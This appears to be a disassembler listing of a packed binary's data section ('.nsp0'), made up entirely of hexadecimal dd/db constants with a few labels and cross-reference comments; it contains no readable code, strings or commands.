dd 0EBBC8020h, 0C3D2ED6h, 14E7EBA2h, 4F4414CCh, 72EC52B1h dd 28834589h, 0FCDFE242h, 7AB5EE6Ah, 0F5E52B69h, 648F5B19h dd 0D3E4727Dh, 3F7FCF2Dh, 7965B048h, 3AF4B8B9h, 6AC7865Ah dd 71F2CDC2h, 1148DC10h, 5F50021Bh, 0FF637475h, 0AE33CD96h dd 0ECAFF703h, 5C8B13EBh, 53E48F54h, 118794E7h, 0D816BEDAh dd 0CEAF55FDh, 0ADBFBBB0h, 0C1D6DDF6h, 20B74C71h, 6C859284h dd 6E849772h, 0EE9CB47Ah, 96EEFE63h, 35E1CC61h, 9A347276h dd 38FF5CB0h, 0CF086683h, 8E635B62h, 9F4D4DF0h, 0D1EC19F4h dd 0D25AACEEh, 2B237CD4h, 2375AF3Bh, 7047C8B3h, 55C7230Dh dd 734BD5CEh, 4E57832Fh db 0ABh byte_504341 db 0C6h, 1Dh, 2Fh ; DATA XREF: .nsp0:off_438D74o dd 3546C98Fh, 0D5EC8B39h db 1Dh, 2, 0C6h byte_50434F db 87h ; DATA XREF: .nsp0:off_438D70o dd 8505CE67h, 689A0776h, 3D6FAE14h, 4C91457h, 1C188093h dd 0A265CECFh, 9CDF871h, 0D9F07D6Bh, 8C265DE8h, 5DE12404h dd 0A9E49747h, 0B03169B0h, 97BB64F1h, 0FFDFB2E2h, 0CCB26829h dd 12516CA1h, 0CC9CBAA4h, 0C152B91Dh, 3BFC256Bh, 0DC9DBF94h dd 0B2C2CFA1h, 0CF44D1D3h, 9C70AFDFh, 45EBD8Dh, 49159A75h dd 712D6C05h, 823C35FAh, 0DC40CCA3h, 90488915h, 0D8D648ABh dd 43E1BE24h, 4CEF6F40h, 1560D814h, 0E9C665BCh, 0A6829C58h dd 0DD8B7139h, 0C615F9E4h, 2380C0E4h, 9EDF0A3Ah, 35365B37h dd 554B6882h, 7B8A6B1Fh, 8346C2Fh, 374D02DBh, 3744F938h dd 0AC49D80Eh, 4BC5F114h, 0F0BC7AC5h, 0E0BBE330h, 0B8145FEh dd 299CEE94h, 4F45E2C7h, 0B54201DBh, 5DCA0ECAh, 6F00BAC9h dd 8C344DC7h, 8AF21423h, 0C5D8325Ah, 4B16A3B3h, 6BD54466h dd 6B0F4243h, 160C1362h, 190049BAh, 8135A0E0h, 0E34D7024h dd 34AF2971h, 0C23D6911h, 0DC2F8235h, 13DA742h, 0A9818C33h dd 9D822C99h, 1BC3365Fh, 0A6E6868Bh, 595439DBh, 0B7D3FC4Eh dd 0E365A6DBh, 6AAF967Dh, 66B9A4CEh, 8E7A3D67h, 7F2DFAE5h dd 0FD9D494Bh, 16087908h, 0E86F2A61h, 0C348D826h, 5C5F0440h dd 6252508Ch, 12BE1451h, 5C335595h, 9D7EA063h, 0ED813F10h dd 0CA5B6BD5h, 0FB7BC2h, 4139A732h, 9AE135E4h, 0FEF57148h dd 0E9ABA58Ch, 187E08EDh, 5E3B7CA0h, 0A0DEE97Dh, 4F13DD8h dd 9C0B0BEEh, 6120EDCEh, 5AC420CEh, 0F422BC67h, 95008762h dd 0E5186B8Dh, 0AC3572EFh, 0FF9023C4h, 3828E40h, 161D05B0h dd 5E549092h, 0C6200CE9h, 517AC247h, 0CBD9C209h, 0C73B3A01h dd 7AB9560Ch, 0DC615017h, 4E61B70Ch, 2B73ECF4h, 0B48A4D9Fh dd 10D1A2A1h, 6C48226Ch, 59FAA93Ah, 348920DAh, 0FBBF3215h dd 905650CFh, 0F72F4F1Ah, 0DB050EDDh, 0F7BAFA8Ch, 0A7E3A380h dd 1D8F2A9Dh, 3AADB1ACh, 0CC848D63h, 1AE7CCA0h, 16ADD25Bh dd 8E41C923h, 0F23B9BD8h, 9D08C9DFh, 0E4A5A290h, 0C8081993h dd 0FA54CD66h, 3EBC31AFh, 8D1527B6h, 7A8A085Bh, 14900D8Bh dd 86E87C8Ch, 0E764987h, 0D883E3F6h, 70C1E49Ch, 0F70E6779h dd 40CE8F33h, 0FE97C06Fh, 0BBAA4AE3h, 65326C70h, 4C556F80h dd 0E027AB93h, 0E52DA7F8h, 4AE8BB77h, 867CC8ADh, 817EBE27h dd 0C6BE17E4h, 0A2A9728Eh, 8CD661B5h, 7D39E449h, 0D6295084h dd 2CB77FECh, 494C2E4Ah, 54929463h, 1C447EC3h, 0E67C5333h dd 0D5DAE37Ah, 3A220D2Fh, 0C8B44C28h, 0CEFCD0B4h, 9E0952CCh dd 0BFB55476h, 0D77AB8F5h, 0DF48B11Bh, 0CF95D9BDh, 0C503088Fh dd 22D800ACh, 881C1C93h, 91215EAFh, 154CFAE1h, 0F67B8B5Eh dd 0D78B0F3Fh, 26C710CBh, 13C71FD1h, 8D9FE5E2h, 31E145DCh dd 14BDF16Eh, 488C592Fh, 7C88195Ah, 102C2051h, 41BCC76Ah dd 9E8C11A7h, 5E555CDCh, 4AEC4E83h, 7A25A383h, 0EC29CE05h dd 61C688CCh, 10D13E5Ah, 24B881B5h, 13C97A4Fh, 0F1068AABh dd 9781E094h, 44246297h, 0BE2B7B95h, 5E5F0E51h, 805441BCh dd 0BDE961EFh, 0D05E99C5h, 0FE714ADEh, 0CEE753D8h, 4BA7CD6Dh dd 8A055B73h, 592C2AA5h, 270F55AAh, 280F87B5h, 0ECDB56F0h dd 0A05C8D0Dh, 62B2E395h, 0C9CE9DBDh, 1414B174h, 0AAB8276Ah dd 4BCA8926h, 9283F94Fh, 459021EDh, 0AECE20B6h, 0D139A4D2h dd 0FFF475A3h, 0F0C3D47Ch, 0FF31373Ch, 40747FB2h, 1ED93204h dd 172B8EF4h, 0F8F01C88h, 0F5E81DB3h, 96837FEEh, 387C5CC2h dd 0CBACCE9Dh, 0DCFCE9F0h, 86944D6Bh, 706D5FF9h, 0C0D99EF6h dd 75FA439Ch, 92AA6187h, 0A19E1149h, 4337BCD5h, 4B08BD00h dd 0BF1A2018h, 0D087CE2h, 982C2C89h, 776466CCh, 0F722AB1Bh dd 6B2195AFh, 29B75E3Bh, 1D628A22h, 0E0FFD123h, 77170813h dd 0E4F2AB90h, 771968C6h, 857AB2D9h, 0F53CB9BFh, 0EC2D4B4Fh dd 0CFCA6F1Ch, 404BC8FAh, 0DCD17D3Eh, 0AE2E91BEh, 0D2EB2BCDh dd 0F9D5D754h, 5AE7AF1h, 0E0513D72h, 9F27CC16h, 3184B88Bh dd 2E399B18h, 0B9F1C9EDh, 9F981F88h, 0AFC34333h, 0CE777F5Dh dd 75FD6B0Ch, 2F8121BFh, 0DF2B0A3Fh, 0D6E98831h, 9AFB0F38h dd 705CAB3Dh, 0E8C31DD4h, 5EAD5B4Bh, 0C6C2E884h, 8B76F80Ah dd 39226C5Ch, 42DEEBC9h, 406F0937h, 0BB0C8B4Ah, 0FC1952Ch dd 128A005Bh, 0C2DF95Dh, 0CE0520FBh, 6733EA74h, 0DFF9F7EFh dd 0F94C722Dh, 15976695h, 5BB30BC5h, 3084A75Fh, 0BF6EE830h dd 0F8DB19F4h, 90DAFBE0h, 8AE9F03Bh, 389B8681h, 0EA58E508h dd 91112C21h, 962A4B4Bh, 0E3F90DA3h, 8E30F4BCh, 0F6C2DDDAh dd 4204D1CBh, 0E6261E8Ch, 899B29A5h, 862F84CBh, 7F15D41Eh dd 9BA279DEh, 0ED67D893h, 0F2C7ED16h, 8C4377Ch, 735C8FB0h dd 1D8A9C72h, 53AB9D51h, 0E005FDB3h, 57F861C8h, 0F9B7B9E6h dd 0D18ED374h, 0BA19CF75h, 0A3E0EDDCh, 488EA2Ah, 1C2D87D9h dd 391C59B9h, 0EDFA627Eh, 4B79CB7Ah, 278E772h, 3134E20Ah dd 0CEC21EBFh, 6B9BFEFFh, 54AD8F37h, 3A2E1D23h, 68E9DB09h dd 9391C73Bh, 15D88284h, 0D5539C22h, 0B1808757h, 0F35F00FCh dd 0C0BE75EFh, 32B437D8h, 0EDD5A125h, 7D2CC3AEh, 0E3734027h dd 1F88C2CEh, 3155769Fh, 263F57C0h, 0D1963C44h, 1EA49F2Dh dd 139FB9C8h, 7AA1D73Bh, 566352B6h, 72B56981h, 5F1843FBh dd 7075E76Dh, 4CDB121Dh, 95E472E7h, 0BA81B9E5h, 6B9615C4h dd 0CB1670D8h, 0DD59C546h, 0A0D58730h, 2B195E82h, 52EAC8D3h dd 2E04C4B5h, 4E487A5Eh, 55C80394h, 0B4B78345h, 14620A57h dd 0F2A2AA26h, 615FE6C9h, 4C052E8Fh, 5A1564B7h, 4AB70DE8h dd 0CBC30854h, 0C7517113h, 0EDAB30C8h, 217FC594h, 0EA07ADFBh dd 6DE8E0E1h, 0DBC6F375h, 649ED30Eh, 0E8778C81h, 0BAD6C4F9h dd 0F830DAA7h, 0A5138A97h, 0A9E9FA4Dh, 0EEFCD61Fh, 2B5CB4F6h dd 0AC3C6B35h, 3C591005h, 6A42364h, 0A1E5B5DFh, 4F7576ABh dd 0C7E8FC28h, 0E3E1EE17h, 68036E18h, 3FB74596h, 66D6215h dd 0F5D5A624h, 0C149B910h, 7578605Fh, 0E9C2D3F3h, 0B1B46100h dd 0FA3E62F6h, 4D257431h, 3E678EF2h, 81FC664Ch, 3253B2D6h dd 1563735h, 0D939EBA4h, 702EE7F8h, 514D387h, 0CC39918Fh dd 630A8B7h, 0C3CBA2A6h, 0D3200D88h, 0BEA6807Dh, 4940C606h dd 616B021Dh, 31E73872h, 0EFF37A8Ch, 9D0A55F1h, 69F394ECh dd 0E9275B88h, 8C726CD8h, 17E710FBh, 0CD26C27Ch, 86EFE6D9h dd 8FB94667h, 97D915BEh, 5BF4F706h, 74CF2DAh, 0D11AB473h dd 2B9632Fh, 3C464519h, 9F59352Ah, 1B13E8Ah, 0CF0A77C4h dd 0FDA33B2Bh, 41A39D6Ch, 12E97AA5h, 4968ADh, 0F6C3382Ah dd 30B5E00Eh, 862D1760h, 0A4016481h, 0CDE28F4Dh, 0D9E052FBh dd 3CFC4935h, 4C65A303h, 7944197Eh, 40522C8Fh, 38BF680Ch dd 0DBF0CD44h, 0F023097h, 83419F98h, 397E8CD5h, 84FFA03Ch dd 0E38C5DB6h, 0D05EC198h, 6B15D5BCh, 46B0DCA2h, 0A9636EFDh dd 19FDCC96h, 2E1EFD40h, 96008747h, 2A793FB8h, 0DCB96A0Fh dd 9D726308h, 4C8E77DAh, 0A524538Eh, 212DE8E2h, 0A408546Eh dd 51F5E7BAh, 0CCFB02BAh, 835810D9h, 3EEF3626h, 80E290CAh dd 2CA813E3h, 31AF1683h, 8D0A6BEh, 857D1132h, 15BC6DD8h dd 104F7D23h, 0DF20820Dh, 7E7DA999h, 2FE18DCh, 79139627h dd 64D88208h, 463B4C6Bh, 6FEC1217h, 0D3986191h, 6625A59Ch dd 0A9D3DF81h, 0CA15D497h, 6DD7DCE2h, 0CF92BDE4h, 3DFF205Bh dd 896D28BCh, 4298D628h dd 0CB682F30h, 58817CA1h, 18F0B873h, 5072FB72h, 0C2472DC4h dd 0C9FB7847h, 0E7CB7172h, 9797DD27h, 0EFD6CF61h, 0C1214064h dd 61FA8FBCh, 0DCACE9C0h, 4AC2E8EDh, 10F4C2CCh, 93E54771h dd 0A3B36DB0h, 5F9A2A6Ch, 6B5B7F54h, 1D6AEA5Eh, 0A1313ABBh dd 0F99027E2h, 8D879451h, 0CC00D851h, 0C340456Dh, 0BDEDB07Eh dd 154F8905h, 86F64117h, 6CEDA285h, 8CBAE674h, 0A7D47A19h dd 862B29FCh, 0F9CB7031h, 0B402579Eh, 0B0F78FA6h, 4B3889DAh dd 1A055620h, 0A8F2EE45h, 13FB0B83h, 0F7F7C9B6h, 2E92CE30h dd 7939CCB0h, 7AC89574h, 0C285834Fh, 71D72B00h, 8C1F1E40h dd 74ED2871h, 38AF1AB9h, 0DEED3EBFh, 0F6BFDDF6h, 0AA4F889h dd 2E5A0D07h, 4A51EB99h, 31457616h, 2695F269h, 0F14D110Dh dd 0C4DE4C3Ah, 48953739h, 957D300Dh, 9A6D821Eh, 2DF93800h dd 7310494h, 7EE10D2Fh, 0B32B8CEAh, 0F76AABA5h, 9526E3FDh dd 2D73FC1h, 0FF4E6270h, 8B9F11A9h, 0AC5F2A5Bh, 8939AFD3h dd 0F3FE2834h, 0AA2C51F7h, 2123AEDBh, 7B68A13Ch, 0A525350Ch dd 42E001E7h, 9F60A524h, 0B93E04E9h, 0AB311694h, 115FD523h dd 8C389F81h, 30BECDF1h, 125E7232h, 451BFFCCh, 84DF2EBAh dd 0F8B48AB4h, 0C3F2BFC5h, 7A214C5Bh, 8106E075h, 0B0AAE53Fh dd 0E7D650E7h, 3C93DF2Dh, 4407808Eh, 0F7A5183Ch, 0D34DF885h dd 0B9C97AA2h, 0F2B6839Eh, 711F54C4h, 6F607878h, 85F2BD06h dd 1ED882CCh, 0E2D77309h, 0E9E47481h, 0EE876D42h, 0A66D58FBh dd 0A3A6DD65h, 6BD64E73h, 6A5D41BFh, 0B59F6637h, 0A16DB902h dd 2158F2D1h, 504E4C00h, 1ED74FEFh, 0FCA2BB9Eh, 16189C0Fh dd 607F6CD4h, 29EA8F93h, 63F438E8h, 46E0D242h, 42672B42h dd 7023F05h, 0B0BBF70Dh, 97A02F36h, 8FE26FEFh, 7D6263E3h dd 1509B3CCh, 261EBC3h, 17BD1E7Ah, 0DD05D9A2h, 89A64650h dd 44920402h, 0A584B2CDh, 435AE8DBh, 0DFE13D02h, 48A4F43Ah dd 59E39997h, 0F74D2E83h, 0E9DB0C65h, 3FA8587h, 206535CBh dd 2A96E712h, 0A7D5A3CEh, 0B65D0E3h, 8C050732h, 2D68E067h dd 94DB8573h, 0F433D1A9h, 1CA20A03h, 0F65217D7h, 0ABBCDEAEh dd 11DE74D3h, 0A0A6D3CDh, 0A787A10Ch, 662C6A4Ah, 2EC6E2A1h dd 11C94499h, 64D38097h, 0CF554C5Ah, 6086F8F0h, 9BFF6D5Fh dd 5B85BC17h, 238B1DA4h, 2C9190CAh, 0C3EDB839h, 0BA3F1DB8h dd 0FF8D82EFh, 0EC96E9DCh, 4A9151A5h, 7309F59Bh, 0B38C2980h dd 0E8D77715h, 0B0D9A3A5h, 44ED9028h, 0CF3D4123h, 0D1F060B1h dd 0DF076F23h, 4F06F88Eh, 0DC37B0D2h, 50909011h, 8CA54C84h dd 0CFE79E67h, 35D2F676h, 6802030Ah, 0C7D93B12h, 34F6176Eh dd 749CA9F6h, 4B6EA14h, 35D4D98Eh, 694340AFh, 952ED9D9h dd 0B3628F8Fh, 0E0094BC6h, 0CBAC4FF0h, 8879979Ch, 0BE4BB620h dd 0E183946Dh, 5181E8DCh, 6E588D4Ch, 0CAB95818h, 4674D34Fh dd 0DC34ADDh, 6B34D4A9h, 0E417C843h, 6E47B770h, 6F069078h dd 8C05502Eh, 0AE8147D0h, 82E669FAh, 0B34BE954h, 46189FE6h dd 8156E819h, 4A14B37Eh, 0CCDAE0D8h, 0E0A70FBEh, 5A15BD75h dd 53CD118h, 0B2FE60E2h, 2C696DAFh, 0B4CBE231h, 0C275E1EEh dd 0AE71475Eh, 6C588273h, 2ADCDC29h, 0A196119h, 0CF968411h dd 8AC3556Eh, 3F3384DCh, 3673D4FFh, 0AF3443ECh, 2B855512h dd 551989B6h, 959ACCD2h, 51052E5Ch, 4385617Ah, 0D392DF0Dh dd 8A3108DFh, 339B3344h, 3AEDD242h, 417317E1h, 653E1D35h dd 12F3CD96h, 71CCDD06h, 21794261h, 0F217787Ah, 7EE0DE34h dd 43B52F1Ah, 6B320F53h, 0E675DF47h, 2E66DF04h, 0E1A84561h dd 7C28E7E5h, 0B9AA7592h, 21B05006h, 17C3930Fh, 0DA86DC05h dd 56C1AB7Bh, 0B8483077h, 2254A24Eh, 0ADE255A0h, 17A99504h dd 2A0A6F2Ah, 490143F1h, 33202501h, 0BAE38C8Ch, 486980B3h dd 91823CF0h, 6624C125h, 0C920A494h, 1788A6A2h, 14CF528Dh dd 25356FC5h, 0A1357C00h, 0C3DABD69h, 0E1A382CCh, 0C7989DB8h dd 0FA77A340h, 28FE49E3h, 91D62955h, 75350A1Ch, 0EA1B1684h dd 718A0025h, 0BD1C69B9h, 46CEAD4Dh, 0F2B15B78h, 0E4EBE7D7h dd 0F277C507h, 0A1F7B752h, 3DE09927h, 0ED71FF9Eh, 0CAE16495h dd 18247110h, 0E9B75BB1h, 952AA991h, 0A8372C47h, 909BB2E7h dd 536B0B25h, 66162C66h, 33A189E1h, 0BAD4C5B4h, 0F08D9CFCh dd 2E13DA31h, 0B6BB8DBEh, 3CAEF31Eh, 0A1C5B6F0h, 0DA8AD12Dh dd 6BBC3D5Eh, 0F3CF1E56h, 8163809Bh, 0EDF08A10h, 7F526D51h dd 8D842E0Eh, 0A96EACA3h, 2AD301FCh, 0B5FE21BAh, 4B70E745h dd 1E45C782h, 0FE6D91C0h, 2B4FBF3Fh, 45130267h, 49728B0Bh dd 219C6FEEh, 6C6E0795h, 0B096F7D7h, 93ABEF59h, 130C544Fh dd 0B336106Fh, 0FA56E940h, 5D5EAFD0h, 2ACAFFD6h, 0C5A4B671h dd 5318B417h, 0FA97CE80h, 0C067B1E3h, 27D36D47h, 3772211Fh dd 32C7446Eh, 7CC45245h, 0B1652C7Fh, 0D6133E5Ah, 0C930F5C1h dd 84ECD95Fh, 0FE5C7CD4h, 9DC994B7h, 85D6AF6Dh, 34575CD5h dd 8F201101h, 0F8144524h, 0CE81942Ah, 833F0872h, 3456BD35h dd 2EF02573h, 0A7F455E5h, 0E70AA74Ah, 2E31631Fh, 0DF87C259h dd 0EA9FD926h, 0B085FBDh, 76C00845h, 49B789E3h, 9D6AB5F5h dd 6C1CA62Bh, 14280AACh, 0CEEF7FD8h, 0B5DDE40Ch, 8F639C6Fh dd 50BFF41Ah, 872B9023h, 0C62FFAEh, 24B7BB83h, 0ED79E457h dd 43AD7629h, 0D0DB3BFDh, 0C83E707Ah, 99B1AA12h, 0A6B81512h dd 5294E115h, 4FE96559h, 23869456h, 0F8EEABB2h, 0EC589E0Bh dd 74520D52h, 0C234E49Eh, 54625FF3h, 0C6980D8Eh, 54A47320h dd 0E0140B44h, 5B7AE5BAh, 862E450Bh, 2083A229h, 57EE5326h dd 0DA0D348Ah, 0A183769Eh, 8B2D10D8h, 44BC66B6h, 0BE1DF3CDh dd 0F6F355DFh, 0ADB266A1h, 0F7E50BFBh, 37B69585h, 4B21041Ah dd 0EEC7819Ch, 495B4B47h, 0D9155522h, 0CBFB1FF0h, 54DC3037h dd 87C60443h, 4095774Bh, 0CB5DD906h, 0C0D7F779h, 0D08664E6h dd 25B9314Ah, 0B106C6C2h, 0E481E384h, 50B157C9h, 0BF970BBFh dd 0B845B597h, 0B9C45F0Bh, 75122224h, 15BA1CFAh, 4A41D96Ch dd 3D4BDAE2h, 49E49DB4h, 52A0CC6Fh, 30BDE4F2h, 25CFA1F3h dd 86FCD32Fh, 450F46C8h, 5A3EC85h, 13164E71h, 4BAAE087h dd 0BED92836h, 0D1C26A73h, 0BF67CFFCh, 0DE6432DBh, 0ED059520h dd 0F70364F6h, 0E3A9DCBCh, 3A7C10C4h, 45DD3748h, 0F190E7B2h dd 2986859Fh, 1D153928h, 86108B9h, 3C193C1Dh, 0E7A84B0Fh dd 0F7EFF857h, 0EC45A4BCh, 323E8E9Ah, 2D1360C9h, 2BCDA2BDh dd 7A8A3E42h, 583F40E3h, 71E2A7A4h, 666069DFh, 22BF1BBDh dd 283D82Eh, 9FB5B8CDh, 76E32C21h, 0E4AC9C06h, 0BF92656h dd 0A28988B8h, 98C79F53h, 5724FB68h, 7A4347D7h, 0B02661DEh dd 59F22A2Ah, 7A779060h, 787BE45Dh, 65E715A0h, 3E44F56Fh dd 479E7C2Eh, 0E9F79370h, 8D8F48C6h, 0E2DEB7D1h, 0F97A1987h dd 0B6606256h, 2F156211h, 0B1FC66CEh, 87ACCC9Eh, 88FE7427h dd 4355DF1Bh, 0D3DA61DBh, 80002AC4h, 39E0D12Eh, 821DE269h dd 0D0E6168Dh, 1700DCF9h, 63A6878Ah, 5E1BFBD5h, 0EF8B80Bh dd 28598696h, 0BFA75C3Ch, 12FD9716h, 33F1FAEh, 34218F08h dd 0CE1E9EA3h, 0E992B5FDh, 5A5FF0B2h, 70E54044h, 0C5BC937Ah dd 61028A15h, 198EB97Fh, 10B16651h, 0A5B27ADFh, 9AB209B4h dd 0E29244F8h, 4FC8815Bh, 0BC42C3D9h, 0C24FD3F1h db 0EEh byte_505345 db 71h, 0FFh, 4Bh ; DATA XREF: .nsp0:off_451E80o ; .nsp0:off_451E88o ... dd 147756DAh, 8D6B896Dh, 0C57E9E90h, 0DBA2FA23h, 7D26AB9Bh dd 8CE127FFh, 0BCB9D7F5h, 0C0A7788Dh, 7D9B80BFh, 4A101A8Ah dd 5D9F62C9h, 5A32D17Ch, 59FB1D31h, 0E8CCEF43h, 5537F593h dd 4047DF7Eh, 9B5D9CDh, 6A6D414Eh, 0E24CF802h, 0DBC32C10h dd 0F534D785h, 35E14EC3h, 182B478Ah, 466AD0B0h, 0A2CD7986h dd 712EF171h, 0A05933FCh, 0F0E3E307h, 0F4B43FADh, 3E5C55D9h dd 0E0FE9421h, 114ED1B4h, 0B480B06Fh, 0EC5FDD03h, 124108C2h dd 0A5DBD4BEh, 0D00A70DEh, 0C3DF8184h, 0BCB81A67h, 0D9D6286Fh dd 8DD00395h, 0D1AB9969h, 81087948h, 4EF269E1h, 5E32897Bh dd 24F72CACh, 0E7D7CAAAh, 3B176860h, 0DC54955Fh, 907917EEh dd 3ED708Fh, 2E7483E1h, 59762A03h, 7A1E8DB3h, 0BF188140h dd 25158BD3h, 771FFFE1h, 0E952895Ch, 85C22814h, 4B9CDBF4h dd 167597C8h, 0B4598C38h, 0FB0F83ACh, 3EAC46ECh, 8E2CFD1Ah dd 0A3B2A636h, 0B90B63F9h, 0F5E5DA5Ch, 8C310139h, 0BE0AC0C5h dd 76300364h, 699214B9h, 0D6B4FD08h, 5C7150DBh, 0CE11DEDAh dd 4A02E76h, 2FFC268h, 0B8BA7092h, 678C74C1h, 0DF4EFB0Bh dd 899ED16Ah, 0FFF65A5Dh, 3CDADED2h, 7D7C36BBh, 59DB9764h dd 0C41A1DF7h, 0B76DE52Bh, 0BCAE7856h, 0A72A3DFBh, 9FE8A46h dd 8BDEE169h, 0D004E7BEh, 7DE560Fh, 1D8D5FC6h, 0EAE5E49Dh dd 18D0147Dh, 5B391BF3h, 0CC06570Fh, 4FAB6238h, 0C9E417B4h dd 3E2DA2D1h, 740CFDA2h, 10939D62h, 97F9695Fh, 0A41A65ECh dd 3AFD4C42h, 7671B63Ah, 8E74F76Ch, 0E8776516h, 3D7678E0h dd 3008FEEBh, 2C8CC0FEh, 0FB090433h, 0D66F5D34h, 0C0E60F4Ah dd 497E0143h, 6EA32A2Ch, 41AA4DF8h, 80DC128Ch, 0F87F4DBEh dd 9DAC85D8h, 0AF33A245h, 24DB6E63h, 46196B34h, 0DAFD3525h dd 0D136D38Fh, 17B54476h, 0F3621935h, 0EFDB5B44h, 1DFCAB77h dd 0CB95C1C8h, 0EED9239Dh, 7761A805h, 19CFD95Fh, 309C3707h dd 0B7AFAF3h, 0AA7CD289h, 7930C8FAh, 0F2032E24h, 0D2260813h dd 15B78164h, 9CFADFE4h, 5AC921D2h, 0B24CD6h, 0C01765E2h dd 65E42C26h, 0E8ACDE2Ah, 3955038Fh, 5868E6D2h, 4DAD4F2Bh dd 7721B85Ch, 6F5D1604h, 0F5B82C9Dh, 5ABE27BEh, 0FE508ACCh dd 708C04C8h, 42EA2003h, 9EFA0FE8h, 389A4BAFh, 0B873B5BFh dd 0BE825CE7h, 0B39616D4h, 232CD9F2h, 361A528Eh, 399F07EFh dd 0E9B6800Eh, 3A3E47EEh, 1B1F48CAh, 61F8B5E8h, 0D19007F9h dd 3E09A08Eh, 94D36378h, 314E791h, 0E0270B54h, 878B9D1Dh dd 0E74DFA97h, 0B502D766h, 888D4BFAh, 1BA4EEBDh, 5648FDD7h dd 2A07756Dh, 0F3D523C1h, 69F37836h, 0CB05E515h, 15D115BEh dd 212ED8AAh, 0AFE91FFEh, 0EBF4BA15h, 75E23D22h, 9193BEC9h dd 4CA654BCh, 0C4A6FDECh, 0B2F55DEh, 43F209FBh, 45C22893h dd 0AD78F11Bh, 0CDB80BA3h, 0FBD2D0C5h, 2D0FD7F3h, 0D14A6411h dd 0EA39F071h, 58A8BFCDh, 0D83178E3h, 0BBF26F1Eh, 0A007E66Ah dd 63F8AD33h, 2FB59055h, 4DD5AE86h, 0AD710CD6h, 1EF81F6Ah dd 9D4BEF0Bh, 0E06C7F08h, 5EAD3209h, 0A5AA3043h, 0CCE5BD1Ch dd 0D3E09C62h, 0B7CED5Bh, 5C523A8h, 0E3ACF449h, 0FA127A03h dd 7D79F932h, 1E049700h, 7AAFF1DEh, 21B66C25h, 48A2C0B6h dd 6D64469Ah, 0D8643B24h, 0E133E848h, 31663AA7h, 0AC010945h dd 0D298992Eh, 5A6FBE37h, 896EA91Dh, 0F24B1D2h, 73ED32A7h dd 81E688D2h, 0D4B430C0h, 6035A067h, 0B674A3B4h, 0D9BAEB2h dd 544FE78Bh, 0BB5AFAEDh, 0CBE773E9h, 0B91EC8EBh, 0AB806A4Fh dd 616B55FCh, 143BD3F8h, 2A6F7718h, 6D85FEBDh, 19D7397Ah dd 202B4C8h, 4F571856h, 659AB43Fh, 0FA859BECh, 9184B07h dd 3E8E59B4h, 0D20A10A7h, 0A30346BBh, 52814FBFh, 77807714h dd 831966E3h, 78128758h, 0F645EADCh, 0E379E8Dh, 70113E6h dd 0A7240BF2h, 8960AB91h, 1062222Ah, 671302B5h, 5B1C670Bh dd 831D4C02h, 10015190h, 0B89F41F9h, 9870717Fh, 0B1C771B7h dd 0F965ECC6h, 9B10635Dh, 0C9911623h, 0F7FDB3D0h, 841FFB4Ah dd 528E1942h, 34A1104Dh, 0F6678B66h, 0AD172FD7h, 6E4288FCh dd 0F47920E6h, 0B98D3C39h, 9F3E4EDEh, 0EA612B1Fh, 0BE4A2C86h dd 44DE20C7h, 7287D019h, 7116127h, 4423E667h, 0C9D5C9Bh dd 5964B425h, 0AF41F11h, 6FB31E8Eh, 771830DDh, 7F2498B3h dd 0B514D5C1h, 6056D071h, 46E75388h, 0BBFEAE39h, 0EA58FE29h dd 0B8760287h, 28A3BF82h, 22F3A4B3h, 324D1FE0h, 1691AAEBh dd 574E057Fh, 0AF9BD4CCh, 86B0AFFAh, 0E4D52BFh, 848838C8h dd 0BDE12371h, 8988CD8Fh, 54FBED8Ch, 298EEDACh, 883CCEF6h dd 67B0ADFEh, 54CEC8A3h, 0F2EB2794h, 39FB4362h, 0F90C703Dh dd 0ACB73FD0h, 39AAA0B1h, 0D4164C21h, 0B84F9636h, 0AA08113Dh dd 0CFEB4E38h, 1258FC1Ch, 0F6276F64h, 6E7AE844h, 0D7776B8Dh dd 0BF836270h, 0F7BBA900h, 0B94CA0A2h, 2361D835h, 67AA7E74h dd 851A5920h, 69014F9Ah, 0DD7F9E18h, 0D4E2C525h, 0C84343C4h dd 32906E1Fh, 0C3AA7847h, 0DB7AE245h, 0C4A2F345h, 0A24E7CC5h dd 0DD614CBBh, 637479D4h, 562BD177h, 9FE2E91Ah, 0A91BE73Bh dd 3D968C65h, 12D52E17h, 0F03A0D96h, 2357EDB2h, 5ED48F75h dd 342D4703h, 0EEA69FCEh, 620B6EA8h, 36E0753Ah, 83FAFF10h dd 0C407212Dh, 0EB9BF0DAh, 8ED2C7A5h, 4DABEFD4h, 1CD04EE2h dd 0A947A731h, 464604BBh, 0EFA77D16h, 85C07539h, 629D0471h dd 4ABC7075h, 2B85CFD3h, 0C49192D2h, 38FC837Dh, 9D11DABDh dd 87B6E331h, 523BF597h, 0A2E11522h, 0C6490E6Fh, 74E7E5Ah dd 458868B8h, 0A2C6997Eh, 2A386D8Dh, 0D655EE47h, 619DCE87h dd 86A5994h, 322EBB41h, 0DAFCCA15h, 929856EEh, 4D3476C5h dd 0C6194A7Eh, 8CA4C85Fh, 97219D92h, 0BB3F13C5h, 60DF9679h dd 9B661B66h, 4D1B66D8h, 0D755A6Ch, 9C55F6B5h, 0FA2DAB91h dd 158F23AAh, 0CD8695D8h, 17982CA9h, 0BB73A8DAh, 0ABF9BC93h dd 8CC9A85Ah, 6363F9DDh, 5FFB514Dh, 38A3F5C7h, 6984C9FBh dd 141FEB3Dh, 0EF831CD2h, 4D50369Ah, 0F122CB66h, 0F131B37Bh dd 1E5F9BB1h, 60AC58FCh, 0EE515F8h, 7FCC8AB3h, 0EA44F7BBh dd 9E1E7710h, 224226CCh, 36C45381h, 0A186547Fh, 170EA93Ah dd 975099AEh, 0C123160Dh, 0F7A7579Ah, 9364D3DEh, 0DEF729B1h dd 6104D9CAh, 75A32970h, 875F242Bh, 9E3CE79h, 52ABA11Fh dd 3D4C1B3Ah, 0FA51923h, 44597CC1h, 0F56BCCF7h, 21C1DACEh dd 0A3C5EFE2h, 0C637D4ECh, 3C2F0AB6h, 0E8841F84h, 4C838B9Ch dd 4B038706h, 0EECA6A00h, 47F18CEDh, 68FBAFEh, 0BDB5D5B7h dd 645FF36h, 0A10BE4FEh, 47303DA3h, 0C1D220F1h, 5050E5D2h dd 0BADA61C7h, 9D31B22Ch, 4D42AF73h, 0DA95E931h, 62EC8A52h dd 0B7613D14h, 778B052Eh, 5BBF9907h, 0FA10A61Fh, 7D57F86h dd 0F889C7B7h, 0BFC61A4Dh, 997258F4h, 46685649h, 77B1CA18h dd 74EC8A8Ch, 3962F2FAh, 19EA8540h, 0AF01E6C5h, 0CAB64A4Eh dd 9101FB60h, 8D929E52h, 7A84410Ch, 0B4519C8Ah, 74FA97CAh dd 8812F777h, 119F02A0h, 